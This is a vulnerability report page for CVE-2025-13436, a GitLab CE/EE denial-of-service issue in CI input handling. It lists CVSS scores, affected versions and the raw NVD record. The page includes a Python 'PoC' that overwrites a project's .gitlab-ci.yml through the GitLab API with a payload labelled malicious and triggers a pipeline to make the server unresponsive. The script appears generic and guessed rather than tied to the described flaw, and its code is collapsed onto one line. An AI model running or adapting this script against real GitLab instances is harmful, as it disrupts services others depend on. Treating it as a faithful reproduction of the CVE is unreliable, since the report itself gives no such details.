Security Vulnerability Report
中文
CVE-2025-13436 CVSS 6.5 MEDIUM

CVE-2025-13436

Published: 2026-03-25 17:16:27
Last Modified: 2026-03-26 18:28:49

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.7 before 18.8.7, 18.9 before 18.9.3, and 18.10 before 18.10.1 that could have allowed an authenticated user to cause a denial of service due to excessive resource consumption when handling certain CI-related inputs.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE >= 13.7, < 18.8.7
GitLab CE/EE >= 18.9, < 18.9.3
GitLab CE/EE >= 18.10, < 18.10.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # Configuration TARGET = "https://your-gitlab-instance.com" TOKEN = "your_access_token" PROJECT_ID = "1" # Malicious payload simulating excessive resource consumption # This typically involves complex nested structures in .gitlab-ci.yml malicious_yaml = """ test: script: - echo "Start DoS" - $(python3 -c 'print("A"*10000000)') """ headers = {"PRIVATE-TOKEN": TOKEN} def exploit(): url = f"{TARGET}/api/v4/projects/{PROJECT_ID}/repository/files/.gitlab-ci.yml" data = { "branch": "main", "content": malicious_yaml, "commit_message": "Trigger DoS" } try: response = requests.put(url, headers=headers, json=data) if response.status_code == 200: print("[+] Payload sent successfully. Server may become unresponsive.") print("[+] Triggering pipeline...") trigger_url = f"{TARGET}/api/v4/projects/{PROJECT_ID}/pipeline" trigger_resp = requests.post(trigger_url, headers=headers, json={"ref": "main"}) print(f"[+] Pipeline trigger status: {trigger_resp.status_code}") else: print(f"[-] Failed to send payload: {response.text}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13436", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:27.163", "lastModified": "2026-03-26T18:28:49.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.7 before 18.8.7, 18.9 before 18.9.3, and 18.10 before 18.10.1 that could have allowed an authenticated user to cause a denial of service due to excessive resource consumption when handling certain CI-related inputs."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afecta a todas las versiones desde la 13.7 antes de la 18.8.7, la 18.9 antes de la 18.9.3, y la 18.10 antes de la 18.10.1 que podría haber permitido a un usuario autenticado causar una denegación de servicio debido al consumo excesivo de recursos al manejar ciertas entradas relacionadas con CI."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "13.7.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "946B195B-BD75-4727-B507-E8C9B53F3B15"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "13.7.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "99CF3B34-E11C-47C7-8F9D-188BF5CB5BB6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "96F7E7EC-4C2E-4A48-8134-9262B251C89C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "C3240349-67A3-43E2-BAD9-EFAA3E0A5D31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:community:*:*:*", "matchCriteriaId": "D5B6ECC9-6AEA-4DD0-B12B-A3A7A9FE91DA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "2B8DF779-B99E-4096-B734-78AB1849D136"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/03/25/patch-release-gitlab-18-10-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/581372", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3418149", "source": "[email protected]", "tags": ["Permissions Required"]}]}}